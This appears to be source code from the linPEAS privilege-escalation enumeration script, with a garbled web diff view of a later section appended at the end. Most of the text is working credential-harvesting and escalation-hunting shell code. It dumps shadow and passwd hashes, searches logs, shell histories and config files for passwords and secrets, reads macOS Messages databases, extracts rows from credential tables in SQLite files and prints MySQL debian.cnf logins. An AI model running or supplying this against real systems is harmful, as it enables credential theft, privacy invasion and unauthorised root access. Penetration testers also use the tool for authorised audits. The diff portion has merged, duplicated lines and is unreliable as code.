print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path"
echo $PATH | tr ":" "\n" | while read d; do
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
fi
done
done
echo ""
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
if [ "$broken_links" ] || [ "$DEBUG" ]; then
print_2title "Broken links in path"
echo $PATH | tr ":" "\n" | while read d; do
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
done
echo ""
fi
if [ "$MACPEAS" ]; then
print_2title "Unsigned Applications"
macosNotSigned /System/Applications
fi
##-- IF) Unexpected folders in /
print_2title "Unexpected in root"
if [ "$MACPEAS" ]; then
(find / -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
else
(find / -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
fi
echo ""
##-- IF) Files (scripts) in /etc/profile.d/
print_2title "Files (scripts) in /etc/profile.d/"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
check_critial_root_path "/etc/profile"
check_critial_root_path "/etc/profile.d/"
fi
echo ""
##-- IF) Files (scripts) in /etc/init.d/
print_2title "Permissions in init, init.d, systemd, and rc.d"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
check_critial_root_path "/etc/init/"
check_critial_root_path "/etc/init.d/"
check_critial_root_path "/etc/rc.d/init.d"
check_critial_root_path "/usr/local/etc/rc.d"
check_critial_root_path "/etc/rc.d"
check_critial_root_path "/etc/systemd/"
check_critial_root_path "/lib/systemd/"
fi
echo ""
##-- IF) Hashes in passwd file
print_list "Hashes inside passwd file? ........... "
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IF) Writable in passwd file
print_list "Writable passwd file? ................ "
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Credentials in fstab
print_list "Credentials in fstab/mtab? ........... "
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IF) Read shadow files
print_list "Can I read shadow files? ............. "
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
print_list "Can I read shadow plists? ............ "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
print_list "Can I write shadow plists? ........... "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
##-- IF) Read opasswd file
print_list "Can I read opasswd file? ............. "
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
else echo_no
fi
##-- IF) network-scripts
print_list "Can I write in network-scripts? ...... "
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Read root dir
print_list "Can I read root folder? .............. "
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
echo ""
##-- IF) Root files in home dirs
print_2title "Searching root files in home dirs (limit 30)"
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found
echo ""
##-- IF) Others files in my dirs
if ! [ "$IAMROOT" ]; then
print_2title "Searching folders owned by me containing others files on it (limit 100)"
(find / -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
echo ""
fi
##-- IF) Readable files belonging to root and not world readable
if ! [ "$IAMROOT" ]; then
print_2title "Readable files belonging to root and readable by me but not world readable"
(find / -type f -user root ! -perm -o=r 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
echo ""
fi
##-- IF) Modified interesting files into specific folders in the last 5mins
print_2title "Modified interesting files in the last 5mins (limit 100)"
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
echo ""
##-- IF) Writable log files
print_2title "Writable log files (logrotten) (limit 100)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation"
logrotate --version 2>/dev/null || echo_not_found "logrotate"
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
logfind=$(find / -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 100)
printf "%s\n" "$logfind" | while read log; do
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
fi
fi
done
echo ""
##-- IF) Files inside my home
print_2title "Files inside $HOME (limit 20)"
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
echo ""
##-- IF) Files inside /home
print_2title "Files inside others home (limit 20)"
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
echo ""
##-- IF) Mail applications
print_2title "Searching installed mail applications"
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps"
echo ""
##-- IF) Mails
print_2title "Mails (limit 50)"
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g" | sed "s,root,${SED_GREEN},g") || echo_not_found
echo ""
##-- IF) Backup folders
print_2title "Backup folders"
printf "%s\n" "$backup_folders" | while read b ; do
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
ls -l "$b" 2>/dev/null && echo ""
done
echo ""
##-- IF) Backup files
print_2title "Backup files (limited 100)"
backs=$(find / -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
printf "%s\n" "$backs" | head -n 100 | while read b ; do
if [ -r "$b" ]; then
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
fi;
done
echo ""
##-- IF) DB files
if [ "$MACPEAS" ]; then
print_2title "Reading messages database"
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
fi
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
FILECMD="$(command -v file 2>/dev/null)"
if [ "$PSTORAGE_DATABASE" ]; then
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if [ "$FILECMD" ]; then
echo "Found: $(file $f)" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
else
echo "Found: $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
fi
done
SQLITEPYTHON=""
echo ""
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
tables=$(sqlite3 $f ".tables" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
else
tables=""
fi
if [ "$tables" ] || [ "$DEBUG" ]; then
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
printf "%s\n" "$tables" | while read t; do
columns=""
# Search for credentials inside the table using sqlite3
if [ -z "$SQLITEPYTHON" ]; then
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
# Search for credentials inside the table using python
else
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
fi
#Check found columns for interesting fields
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
if [ "$INTCOLUMN" ]; then
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
fi
echo ""
done
fi
fi
done
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Downloaded Files"
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
fi
##-- IF) Web files
print_2title "Web files?(output limit)"
ls -alhR /var/www/ 2>/dev/null | head
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
echo ""
##-- IF) All hidden files
print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
find / -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70
echo ""
##-- IF) Readable files in /tmp, /var/tmp, bachups
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70)
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
echo ""
##-- IF) Interesting writable files by ownership or all
if ! [ "$IAMROOT" ]; then
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files"
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
obmowbe=$(find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
printf "%s\n" "$obmowbe" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -qE "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
echo ""
fi
##-- IF) Interesting writable files by group
if ! [ "$IAMROOT" ]; then
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files"
for g in $(groups); do
iwfbg=$(find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
printf " Group $GREEN$g:\n$NC";
printf "%s\n" "$iwfbg" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -Eq "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
fi
done
echo ""
fi
##-- IF) Passwords in history files
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history files"
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
echo ""
fi
##-- IF) Passwords in config PHP files
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in config PHP files"
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
echo ""
fi
##-- IF) Passwords files in home
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching *password* or *credential* files in home (limit 70)"
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
echo ""
fi
##-- IF) TTY passwords
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
echo ""
##-- IF) IPs inside logs
if [ "$DEBUG" ]; then
print_2title "Searching IPs inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
echo ""
fi
##-- IF) Passwords inside logs
print_2title "Searching passwords inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
echo ""
if [ "$DEBUG" ]; then
##-- IF) Emails inside logs
print_2title "Searching emails inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
echo ""
fi
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
##-- IF) Find possible files with passwords
print_2title "Searching passwords inside key folders (limit 70) - only PHP files"
intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo ""
print_2title "Searching passwords inside key folders (limit 70) - no PHP files"
printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo ""
##-- IF) Find possible files with passwords
print_2title "Searching possible password variables inside key folders (limit 140)"
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
wait
echo ""
##-- IF) Find possible conf files with passwords
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
printf "%s\n" "$ppicf" | while read f; do
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
echo "$ITALIC $f$NC"
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
fi
done
echo ""
##-- IF) Find possible regexes
peass{REGEXES}
fi

View File

@@ -2,26 +2,32 @@
#--------) Software Information (---------# #--------) Software Information (---------#
########################################### ###########################################
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
#-- SI) Useful software #-- SI) Useful software
print_2title "Useful software" if ! [ "$SEARCH_IN_FOLDER" ]; then
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done print_2title "Useful software"
echo "" for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
#-- SI) Search for compilers
print_2title "Installed Compilers"
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
echo ""
if [ "$(command -v pkg 2>/dev/null)" ]; then
print_2title "Vulnerable Packages"
pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
echo "" echo ""
fi fi
if [ "$(command -v brew 2>/dev/null)" ]; then #-- SI) Search for compilers
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Installed Compilers"
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
echo ""
if [ "$(command -v pkg 2>/dev/null)" ]; then
print_2title "Vulnerable Packages"
pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
echo ""
fi
if [ "$(command -v brew 2>/dev/null)" ]; then
print_2title "Brew Installed Packages" print_2title "Brew Installed Packages"
brew list brew list
echo "" echo ""
fi
fi fi
if [ "$MACPEAS" ]; then if [ "$MACPEAS" ]; then
@@ -43,6 +49,11 @@ fi
if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
print_2title "MySQL version" print_2title "MySQL version"
mysql --version 2>/dev/null || echo_not_found "mysql" mysql --version 2>/dev/null || echo_not_found "mysql"
mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1)
if [ "$mysqluser" ]; then
echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
fi
echo ""
echo "" echo ""
#-- SI) Mysql connection root/root #-- SI) Mysql connection root/root
@@ -78,30 +89,46 @@ fi
if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
print_2title "Searching mysql credentials and exec" print_2title "Searching mysql credentials and exec"
printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds)
STRINGS="`command -v strings`"
echo "Potential file containing credentials:"
ls -l "$d"
if [ "$STRINGS" ]; then
strings "$d"
else
echo "Strings not found, cat the file and check it to get the creds"
fi
else
for f in $(find $d -name debian.cnf 2>/dev/null); do for f in $(find $d -name debian.cnf 2>/dev/null); do
if [ -r "$f" ]; then if [ -r "$f" ]; then
echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED},"
cat "$f" cat "$f"
fi fi
done done
for f in $(find $d -name user.MYD 2>/dev/null); do for f in $(find $d -name user.MYD 2>/dev/null); do
if [ -r "$f" ]; then if [ -r "$f" ]; then
echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED},"
